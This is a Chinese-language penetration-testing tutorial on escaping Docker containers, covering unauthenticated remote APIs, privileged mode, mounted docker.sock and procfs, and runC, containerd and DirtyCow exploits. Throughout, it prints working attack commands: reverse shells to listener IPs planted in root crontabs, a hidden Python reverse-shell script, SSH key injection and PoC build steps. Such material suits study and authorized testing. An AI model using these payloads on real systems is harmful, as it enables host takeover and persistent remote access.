Linux雖然沒有域環境,但是當我們拿到一台Linux 系統權限,難道只進行一下提權,捕獲一下敏感信息就結束了嗎?顯然不只是這樣的。本系列文章將從拿到一個Linux shell開始,介紹Linux內網滲透技術,分為容器逃逸、Linux提權、Linux信息收集、Linux隧道技術、Linux橫向移動、Linux權限維持、Linux痕跡清理幾個部分。
參考了很多師傅們分享的文章,文末的參考鏈接可能並沒有展示全,在這里表示對各位師傅的感謝。
本文是Linux內網滲透的第一篇文章——容器逃逸。
前言
Docker 逃逸在滲透測試中面向的場景大概是這樣,滲透拿到shell后,發現主機是docker環境,要進一步滲透,就必須逃逸到“直接宿主機”。甚至還有物理機運行虛擬機,虛擬機運行Docker容器的情況。那就還要虛擬機逃逸了。本文記錄Docker逃逸相關技術重點、盡最大可能進行利用復現。
如何判斷當前機器是否為Docker 容器環境
-
Metasploit 中的 checkcontainer 模塊、(判斷是否為虛擬機,checkvm 模塊)
該模塊其實進行了如下操作: -
⭐檢查根目錄下是否存在
.dockerenv
文件ls -la
-
⭐檢查
/proc/1/cgroup
是否存在含有docker字符串cat /proc/1/cgroup
-
檢查是否存在container環境變量
通過env
\PATH
來檢查是否有docker相關的環境變量,來進一步判斷。env env $PATH set
-
其他檢測方式
如檢測mount、fdisk -l列出所有分區 、判斷PID 1的進程名等也可用來輔助判斷。
Docker逃逸的方法
docker架構圖如下,其中對普通用戶來說,最為熟悉的就是最外層的docker client和docker daemon,一個是docker命令行工具,另一個是dockerd后台進程。Docker Client通過命令行與Docker Damon通信。containerd則為docker和run的一個溝通
危險的配置導致Docker 逃逸
由於"縱深防御" 和 "最小權限"等理念和原則落地,越來越難以直接利用漏洞來進行利用。另一方面,公開的漏洞,安全運維人員能夠及時將其修復,當然,不免存在漏網之魚。相反,更多的是利用錯誤的、危險的配置來進行利用,不僅僅Docker逃逸,其他漏洞也是,比如生產環境開啟Debug模式導致漏洞利用等等。
Docker已經將容器運行時的Capabilities黑名單機制改為如今的默認禁止所有Capabilities,再以白名單方式賦予容器運行所需的最小權限
Docker Remote API 未授權訪問
漏洞簡述:
docker remote api可以執行docker命令,docker守護進程監聽在0.0.0.0,可直接調用API來操作docker。
通過docker daemon api 執行docker命令:
#列出容器信息,效果與docker ps一致。
curl http://<target>:2375/containers/json
#啟動容器
docker -H tcp://<target>:2375 ps -a
利用場景:
通過對宿主機端口掃描,發現有2375端口開放,可以執行任意docker命令。我們可以據此,在宿主機上運行一個容器,然后將宿主機的根目錄掛載至docker的/mnt目錄下,便可以在容器中任意讀寫宿主機的文件了。我們可以將命令寫入crontab配置文件,進行反彈shell。
漏洞利用:
Vulhub提供了該漏洞的復現環境。
- 利用方法1
利用方法是,我們隨意啟動一個容器,並將宿主機的/etc目錄掛載到容器中,便可以任意讀寫文件了。我們可以將命令寫入crontab配置文件,進行反彈shell。
這里有一個現成的exp:
import docker
client = docker.DockerClient(base_url='http://victim-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc attacker-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
(其他反彈shell的形式也一樣)
- 利用方法2
隨便啟動一個docker,掛載點設置為服務器的根目錄掛載至/mnt目錄下。
sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
在容器內執行命令,將反彈shell的腳本寫入到/var/spool/cron/root
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
本地監聽端口,獲取對方宿主機shell。
- 利用方法3
Github上的exp:https://github.com/Tycx2ry/docker_api_vul
⭐Docker 高危啟動參數 -- privileged 特權模式啟動容器
特權模式逃逸是一種最簡單有效的逃逸方法,使用特權模式啟動的容器時,docker管理員可通過mount命令將外部宿主機磁盤設備掛載進容器內部,獲取對整個宿主機的文件讀寫權限,可直接通過chroot切換根目錄、寫ssh公鑰和crontab計划任何等getshell。
當操作者執行docker run --privileged時,Docker將允許容器訪問宿主機上的所有設備,同時修改AppArmor或SELinux的配置,使容器擁有與那些直接運行在宿主機上的進程幾乎相同的訪問權限。
判斷方法:
特權模式起的容器,實戰可通過cat /proc/self/status |grep Cap
命令判斷當前容器是否通過特權模式起(CapEff: 000000xfffffffff代表為特權模式起)
利用方法:
特權模式啟動一個Ubuntu容器:
sudo docker run -itd --privileged ubuntu:latest /bin/bash
進入容器:
使用fdisk -l
命令查看磁盤文件:
fdisk -l命令查看宿主機設備為/dev/sda5(一般是最大的那個),通過mount命令將宿主機根目錄掛載進容器
在特權模式下,逃逸的方式很多,比如:直接在容器內部掛載宿主機磁盤,然后切換根目錄。
新建一個目錄:mkdir /test
掛載磁盤到新建目錄:mount /dev/sda5 /test
切換根目錄:chroot /test
到這里已經成功逃逸了,然后就是常規的反彈shell 和 寫 SSH 了(和redis未授權差不多)。
寫計划任務,反彈宿主機Shell:
echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root
如果要寫SSH的話,需要掛載宿主機的root目錄到容器:
docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys
然后ssh 私鑰登錄。
其他參數:
Docker 通過Linux namespace實現6項資源隔離,包括主機名、用戶權限、文件系統、網絡、進程號、進程間通訊。但部分啟動參數授予容器權限較大的權限,從而打破了資源隔離的界限。
--cap-add=SYS_ADMIN 啟動時,允許執行mount特權操作,需獲得資源掛載進行利用。 --net=host 啟動時,繞過Network Namespace --pid=host 啟動時,繞過PID Namespace --ipc=host 啟動時,繞過IPC Namespace
危險掛載導致Docker 逃逸
掛載敏感目錄(-v /:/soft)
漏洞測試:
將宿主機root目錄掛載到容器
docker run -itd -v /root:/root ubuntu:18.04 /bin/bash
模擬攻擊者寫入ssh密鑰
mkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys
利用私鑰成功登錄。獲取宿主機權限。
⭐掛載Docker Socket(docker.sock)
使用者將宿主機
/var/run/docker.sock
文件掛載到容器中,目的是能在容器中也能操作docker。
概述:
Docker采用C/S架構,我們平常使用的Docker命令中,docker即為client,Server端的角色由docker daemon扮演,二者之間通信方式有以下3種:
unix:///var/run/docker.sock(默認tcp://host:portfd://socketfd
Docker Socket是Docker守護進程監聽的Unix域套接字,用來與守護進程通信——查詢信息或下發命令。
判斷方法:
實戰中通過find命令,可查找類似docker.sock等高危目錄和文件
相當於在docker里可以執行宿主機docker命令,這樣的話,我們新啟一個容器,掛載宿主機根目錄,即可逃逸
復現:
1、首先創建一個容器並掛載/var/run/docker.sock:
docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu
2、在該容器內安裝Docker命令行客戶端:
- 安裝方法一:
apt-updateapt-get install \apt-transport-https \ca-certificates \curl \gnupg-agent \software-properties-commoncurl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | apt-key add -apt-key fingerprint 0EBFCD88add-apt-repository \"deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/ \$(lsb_release -cs) \stable"apt-get updateapt-get install docker-ce docker-ce-cli containerd.io
- ⭐安裝方法二:
cat /etc/os-release
查看當前linux發型版本,准備安裝docker客戶端,方便操作docker
訪問https://download.docker.com/linux/debian/dists/,根據選擇具體分支,去https://download.docker.com/linux/debian/dists/xxxxxx/pool/stable/amd64/下載.deb結尾的安裝文件
使用這種方式安裝的好處是容器內一般都缺少很多基礎組件,如果通過apt-get安裝實測20分鍾也裝不完
3、接着使用該客戶端通過Docker Socket與Docker守護進程通信,發送命令創建並運行一個新的容器,將宿主機的根目錄掛載到新創建的容器內部:
docker run -it -v /:/host ubuntu:latest /bin/bash
4、在新容器內執行chroot將根目錄切換到掛載的宿主機根目錄:
chroot /host
已成功逃逸到宿主機。
掛載宿主機procfs
利用procfs通過寫/proc/sys/kernel/core_pattern來進行逃逸,觸發條件比較苛刻,需要有進程奔潰才能觸發
docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu (為了區分,掛載到容器的/host/目錄下
procfs是一個偽文件系統,它動態反映着系統內進程及其他組件的狀態,其中有許多十分敏感重要的文件。因此,將宿主機的procfs掛載到不受控的容器中也是十分危險的,尤其是在該容器內默認啟用root權限,且沒有開啟User Namespace時
從2.6.19內核版本開始,Linux支持在/proc/sys/kernel/core_pattern中使用新語法。如果該文件中的首個字符是管道符|,那么該行的剩余內容將被當作用戶空間程序或腳本解釋並執行。
Docker默認情況下不會為容器開啟User Namespace
一般情況下不會將宿主機的procfs掛載到容器中,然而有些業務為了實現某些特殊需要,還是會有。
判斷方法:
實戰中通過find命令,可查找類似core_pattern
、/proc/sys/kernel/core_pattern
等高危目錄和文件
復現:
“在掛載procfs的容器內利用core_pattern后門實現逃逸“
利用思路:
攻擊者進入到掛載了宿主機profs的容器,root權限,然后向宿主機的procfs寫Payload
1、在容器內創建反彈Shell的Exp,/tmp/.x.py (.為隱藏文件
apt-get updateapt-get install vimapt-get install gcc (用於編譯一個可以崩潰的程序,容器環境下一般都不自帶這些常用的工具,包括ping之類的。
#.x.pyimport osimport ptyimport socketlhost = "attacker-ip"lport = 10000def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", "/dev/null") pty.spawn("/bin/bash") os.remove("/tmp/.x.py") s.close()if __name__ == "__main__": main()
2、寫入core_pattern
echo -e "|/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
執行完以上命令,然后運行'3'的崩潰程序之后,並沒有接收到反彈的shell,
這是因為Linux轉儲機制對/proc/sys/kernel/core_pattern內程序的查找是在宿主機文件系統進行的,而我們的/tmp/.x.py是容器內路徑。
操作以下步驟:
在Docker容器中運行cat /proc/mounts | grep docker
拿到當前容器在宿主機上的絕對路徑。
返回如下:
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/TDUPJY7LZWCBS33AOAEL32VYWZ:/var/lib/docker/overlay2/l/UDBKLTSYHMCC4J7DLMAK3JUMT2:/var/lib/docker/overlay2/l/ULFSCIS7UXEVHUTW5KPOWLQOK6:/var/lib/docker/overlay2/l/YQDQOJ3EJ3KELBHK5PFFUJ7RVT,upperdir=/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e90754e3126f8b533ab395bf1dfb/diff,workdir=/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e90754e3126f8b533ab395bf1dfb/work 0 0
從返回的內容中得到:
workdir=/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e90754e3126f8b533ab395bf1dfb/work
將之前的寫入Payload的命令改為:
echo -e "|/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e90754e3126f8b533ab395bf1dfb/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
這樣一來,Linux轉儲機制在程序發生崩潰時就能夠順利找到我們在容器內部的/tmp/.x.py了。
3、在容器內運行一個可以崩潰的程序
//test.cint main(void) {int *a = NULL;*a = 1;return 0;}
gcc test.c
執行之后,即可接收到反彈的shell
程序漏洞導致Docker 逃逸
Shocker 攻擊
漏洞描述:從Docker容器逃逸並讀取到主機某個目錄的文件內容。Shocker攻擊的關鍵是執行了系統調用open_by_handle_at函數,Linux手冊中特別提到調用open_by_handle_at函數需要具備CAP_DAC_READ_SEARCH能力,而Docker1.0版本對Capability使用黑名單管理策略,並且沒有限制CAP_DAC_READ_SEARCH能力,因而引發了容器逃逸的風險。
漏洞影響版本: Docker版本< 1.0, 存在於 Docker 1.0 之前的絕大多數版本
(真實環境基本不會存在了)
github項目地址:gabrtv/shocker: Shocker / Docker Breakout PoC (github.com)
⭐runC容器逃逸漏洞(CVE-2019-5736)
漏洞簡述:
Docker 18.09.2之前的版本中使用了的runc版本小於1.0-rc6,因此允許攻擊者重寫宿主機上的runc 二進制文件,攻擊者可以在宿主機上以root身份執行命令。
利用條件:
Docker版本 < 18.09.2,runc版本< 1.0-rc6,一般情況下,可通過 docker 和docker -version查看當前版本情況。
利用步驟:
1、下載poc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
2、修改Payload
vi main.gopayload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/12345 0>&1"
3、編譯生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
4、實戰中可以curl等方式下載,這邊直接使用docker cp放入容器
sudo docker cp ./main 248f8b7d3c45:/tmp
5、在容器中執行payload
# 修改權限chmod 777 main# 執行Payload./main
6、在192.168.172.136上監聽本地端口,成功獲取宿主機反彈回來的shell:
Docker cp 命令容器逃逸攻擊漏洞 CVE-2019-14271
漏洞描述:
當Docker宿主機使用cp命令時,會調用輔助進程docker-tar,該進程沒有被容器化,且會在運行時動態加載一些libnss.so庫。黑客可以通過在容器中替換libnss.so等庫,將代碼注入到docker-tar中。當Docker用戶嘗試從容器中拷貝文件時將會執行惡意代碼,成功實現Docker逃逸,獲得宿主機root權限。
影響版本:
Docker 19.03.0
⭐CVE-2020-15257
利用條件:
containerd 是一個控制 runC 的守護進程,提供命令行客戶端和API
在Containerd 1.3.9版本之前和1.4.0~1.4.2版本 (通過dockers version查詢),使用了--host網絡模式,會造成containerd-shim API暴露,通過調用API功能實現逃逸。
判斷方法:
#判斷是否使用host模式cat /proc/net/unix | grep 'containerd-shim'
利用方法:
經過以上判斷,存在漏洞后。
1、從https://github.com/cdk-team/CDK/releases下載對應架構的可執行文件,上傳到容器並賦權
上傳方法:
2、使用
可以反彈shell,也可以執行命令reverse shell./cdk run shim-pwn reverse <RHOST> <RPORT>execute command./cdk run shim-pwn "<shell_cmd>"
內核漏洞導致Docker 逃逸
⭐DirtyCow(CVE-2016-5195)臟牛漏洞實現Docker 逃逸
Docker 與 宿主機共享內核,因此容器需要在存在dirtyCow漏洞的宿主機里
漏洞簡述:
Dirty Cow(CVE-2016-5195)是Linux內核中的權限提升漏洞,通過它可實現Docker容器逃逸,獲得root權限的shell。
漏洞測試:
1、環境准備:
docker與宿主機共享內核,因此我們需要存在dirtyCow漏洞的宿主機鏡像。
這里,我們使用ubuntu-14.04.5來復現。
2、測試容器下載並運行:
git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/sudo docker-compose run dirtycow /bin/bash
3、進入容器,編譯POC並執行:
cd /dirtycow-vdso/make./0xdeadbeef 192.168.111.129:1234
4、在192.168.111.129監聽本地端口,成功接收到宿主機反彈的shell。
參考
https://www.cnblogs.com/xiaozi/p/13423853.html